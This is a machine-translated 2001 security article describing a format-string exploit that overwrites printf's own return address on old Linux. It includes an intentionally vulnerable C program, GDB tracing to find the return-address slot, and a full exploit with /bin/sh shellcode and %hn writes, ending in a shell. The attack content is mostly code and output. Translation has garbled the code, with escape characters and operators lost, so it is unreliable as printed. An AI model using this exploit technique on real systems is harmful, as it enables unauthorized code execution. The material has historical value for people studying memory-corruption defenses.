[Analysis] Use the formatted string overlay * Printf () series function itself return address

xiaoxiao2021-03-06  20

Using the formatting string overlay * printf () series function itself return address

Creation time: 2001-10-29

Article attribute: original

Article Source:

http://www.xfocus.org/

Article submission:

Alert7 (sztcww_at_sina.com)

Using the formatting string overlay * printf () series function itself return address

Author: alert7

Alert7@xfocus.org

>

Home:

Http://www.netguard.com.cn

http://www.xfocus.org

Time: 2001-10-26

Test Environment: Linux Redhat 6.2 Kernel 2.2.14

★ Foreword

Six comparisons listed in the << Exploiting Format String Vulnerabilities V1.2 >> written in Scut

General methods to get control:

Coverage GOT

2. Using DTORS

3. Using C Library Hooks

4. Use the ATEXIT structure (static compiling version)

5. Cover function pointer

6. Cover JMPBUF'S

Here, don't want to discuss these things, please refer to the relevant information

But sometimes you can only cover the address space of 0xBFFFFFFFFFFFFfffff because it is format string.

The program has been restricted, and the program calls exit (0), (maybe you have not encountered such a similar vulnerability program, but I

It is more demanding than this request: () so using the C library hooks with the C library hooks

These technologies do not pass because these addresses are headed at 0x08 (C Library Hooks is a 0x04 head). MAIN

The return address is not possible. That is whipped to something to make our shellcode get control.

★ Cover the format function to return your address

In the case of a general buffer overflow, it is impossible to overwrite the return address of the glibc function,

But Format String gave us a chance, and individuals think that accuracy will be higher.

For example, Printf (BUF), uses the formatted BUF to overwrite the return address of the PrintF function.

★ Procedure for formatted strings

[alert7 @ redhat62 alert7] # cat vul.c

#include

INT main (int Argc, char ** argv)

{

Char BUF [10000];

Bzero (BUF, 10000);

IF (argc == 2) {

STRNCPY (BUF, Argv [1], 9999);

Printf (BUF);

}

}

[alert7 @ redhat62 alert7] # gcc -o vul vul.c -g

★ Accurate positioning of several data

Number of spam data (in 4 bytes)

[Alert7 @ redhat62 alert7] # ./vul aaaa% P% P% P% P% P% P% P% P% P

AAAA0X616161610X702570250X702570250X702570250X702570250X7025 (NIL) (NIL) (nil)

We see there is no junk data x = 0; if you don't understand what is going on, please check

<< Exploiting Format String VulneRabilities >>

Two View Format String Address

[alert7 @ redhat62 alert7] # gdb vul -q

(GDB) Disass MageMP of Assembler Code for Function Main:

0x8048438

: push% EBP

0x8048439

: MOV% ESP,% EBP

0x804843B

: SUB $ 0x2710,% ESP

0x8048441

: push $ 0x2710

0x8048446

: LEA 0xffffd8f0 (% EBP),% EAX

0x804844C

: push% EAX

0x804844d

: Call 0x8048364

0x8048452

: Add $ 0x8,% ESP

0x8048455

: CMPL $ 0x2,0x8 (% EBP)

0x8048459

: jne 0x8048487

0x804845B

: Push $ 0x270f

0x8048460

: MOV 0xc (% EBP),% EAX

0x8048463

: add $ 0x4,% EAX

0x8048466

: MOV (% EAX),% EDX

0x8048468

: push% EDX

0x8048469

: LEA 0xfffd8f0 (% EBP),% EAX

0x804846f

: push% EAX

0x8048470

: Call 0x8048374

0x8048475

: Add $ 0xc,% ESP

0x8048478

: LEA 0xfffd8f0 (% EBP),% EAX

0x804847e

: push% EAX

0x804847f

: Call 0x8048354

0x8048484

: Add $ 0x4,% ESP

0x8048487

: Leave

0x8048488

: RET

End of assembler dump.

(GDB) B * 0x804847F

Breakpoint 1 at 0x804847f: File Vul. C, Line 8.

(GDB) R AAAA

Starting Program: / Home / Alert7 / Overflow / Sploit / Vul Aaaa

Breakpoint 1, 0x804847f in main (argc = 2, argv = 0xBffffba4) at Vul.c: 8

8 Printf (BUF);

(GDB) P & BUF

$ 1 = (char (*) [10000]) 0xBFFD468

~~~~~~~~~~~~~~~~~~~~~~~ ^ 0xBFFFD468 Format String Addr (GDB) I REG $ EAX $ ESP $ EBP

EAX 0xBFFFD468 -1073752984

ESP 0xBFFFD464 -1073752988

EBP 0xBFFFFB78 -1073742984

(GDB) X / 8X 0xBFFD450

0xBFFFD450: 0xBFFD468 0xBffffB78 0x08048475 0xBFFFD468

0xBFFFD460: 0xBffFFFCBF 0xBFFD468 0x61616161 0x00000000

(GDB) Si

0x8048354 in printf () AT printf.c: 26

26 Printf.c: no such file or directory.

(GDB) X / 8X 0xBFFD450

0xBFFFD450: 0xBFFD468 0xBffffB78 0x08048475 0xBFFFD468

0xBffFD460: 0x08048484 0xBFFD468 0x61616161 0x00000000

~~~~~~~~~~~~~~~~~ ^ On this address, it has become 0x08048484, which is the return address of the Printf function.

So we also found the address stored by the printf function: 0xBfffd460

In fact, the content of the 0xBFFD464 address is what push% EAX go.

0xBFFD460 is the EIP storage address for the stack frame of the Printf context

Three calculate the address stored in the PRINTF function

Now use the formula to express the address stored by the Printf function: (Format string addr) - (x * 4) -8

Format String Addr is a violent guess. X can be easily obtained, so this address is very accurate.

Of course, different systems are different formatters, etc., will result in * Printf series functions to return the address stored in the address, need

Self-study and correct formulas, just a simple demonstration, intended to throw bricks.

★ Look at our utilization

[alert7 @ redhat62 alert7] # Cat Exp.c

/ * e * /

#include

#include

#define default_offset 0

#define default_alignment 0

#define default_retloc 0xBFFFD468-0 * 4-8 // f-x * 4-8

// f is a format string address

// x is the number of garbage, x * 4 is

// From the length of ESP to F

#define nop 0x90

Char shellcode [] =

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 "

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

INT Main (int Argc, char * argv []) {

Char * PTR;

Long shell_addr, retloc = default_retloc;

INT I, SH1, SH2;

Char BUF [512];

Char BUF1 [5000];

Printf ("Using Ret Location Address: 0x% x / n", Retloc);

Shell_addr = RETLOC 80;

Printf ("Using Shellcode Address: 0x% X / N", Shell_Addr);

SH1 = (Shell_ADDR >> 16) & 0xffff; // sh1 = 0xBFFF

SH2 = (Shell_ADDR >> 0) & 0xffff; // sh2 = 0xD3A8

PTR = BUF;

IF ((SH1) <(SH2))

{

MEMSET (PTR, 'B', 4);

PTR = 4;

(* PTR ) = (Retloc 2) & 0xFF;

(* PTR ) = ((Retloc 2) >> 8) & 0xFF;

(* PTR ) = ((Retloc 2) >> 16) & 0xFF;

(* PTR ) = ((Retloc 2) >> 24) & 0xFF;

MEMSET (PTR, 'B', 4);

PTR = 4;

(* PTR ) = (RETLOC) & 0xFF;

(* PTR ) = ((RETLOC) >> 8) & 0xFF;

(* PTR ) = ((RETLOC) >> 16) & 0xFF;

(* PTR ) = (RETLOC) >> 24) & 0xFF;

Sprintf (PTR, "%%% UC %% HN %%% UC %% HN", (SH1-8 * 2), (SH2-SH1));

/ * Recommended to construct the formatting string to use% hn * /

}

IF ((SH1)> (SH2))

{

MEMSET (PTR, 'B', 4); PTR = 4;

(* PTR ) = (RETLOC) & 0xFF;

(* PTR ) = ((RETLOC) >> 8) & 0xFF;

(* PTR ) = ((RETLOC) >> 16) & 0xFF;

(* PTR ) = (RETLOC) >> 24) & 0xFF;

MEMSET (PTR, 'B', 4);

PTR = 4;

(* PTR ) = (Retloc 2) & 0xFF;

(* PTR ) = ((Retloc 2) >> 8) & 0xFF;

(* PTR ) = ((Retloc 2) >> 16) & 0xFF;

(* PTR ) = ((Retloc 2) >> 24) & 0xFF;

Sprintf (PTR, "%%% UC %% HN %%% UC %% HN", (SH2-8 * 2), (SH1-SH2));

}

IF ((sh1) == (SH2))

{

Printf ("You cannot use a printf to implement this / N");

}

Sprintf (buf1, "% s% s", buf, shellcode;

Execle ("./ Vul", "Vul", BUF1, NULL, NULL;

}

[alert7 @ redhat62 alert7] # gcc -o exp .c

[alert7 @ redhat62 alert7] # ./exp

... (omitted some PRINTF out of chaos)

B 隵 1 繤 f

?

Bamboo

? 圬 @?  / bin / sh [alert7 @ redhat62 alert7] #

How can I not succeed, let's take a look at what is going on, add a SLEEP (30) before Vul.c's Printf (BUF);

First run on a TTY ./exp, on another TTY:

[alert7 @ redhat62 / alert7] # ps -aux | grep vul

Alert7 892 0.3 0.3 1084 296 PTS / 0 s 10:41 0:00 Vul bbbbb? 緽 bbb`

Alert7 895 0.0 0.5 1360 508 PTS / 3 S 10:42 0:00 Grep Vul

[alert7 @ redhat62 alert7] # gdb vul -q

(GDB) ATTACH 892

Attaching to Program: / Home / Alert7 / Vul, PID 892

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

0x400A9C61 in __libc_nanosleep () from /lib/libc.so.6

(GDB) B Printf

BreakPoint 1 at 0x4006605c: File Printf.c, Line 30.

(GDB) C

Continuing.

BreakPoint 1, Printf (

Format = 0xBFFD718 "BBBBB? 緽 BBB`? 49135C% HN% 5297C% HN", '/ 220' , "隲 037 ^ / 211V / B1 繺 210F / A / 211F / F 癨 013/211 骪215N / B / 215V / F 蚛 2001 踈 211 谸蚛 20

0 柢  "...) at printf.c: 30

30 printf.c: no such file or directory.

We can see that the format string address from execle is not the original 0xBFFD468, but now

Format = 0xBFFD718, so our EXPLOIT program should modify this address. Recompilated execution.

[alert7 @ redhat62 alert7] # ./exp

..... (omitted some PRINTF out of chaos)

B 隵 1 繤 f

Bamboo

? 圬 @ 蚥 ASH #

Bash # :) OK, success! ! !

★ small knot

Using the formatted string overlay * Printf () series function itself The return address should be a very good method, and in the format string

The problem is very advantageous, the accuracy is higher.

Finally, welcome to Email discussion.

Reference:

<< Exploiting Format String Vulnerabilities >> by Scut / Team Teso

转载请注明原文地址:https://www.9cbs.com/read-41127.html

New Post(0)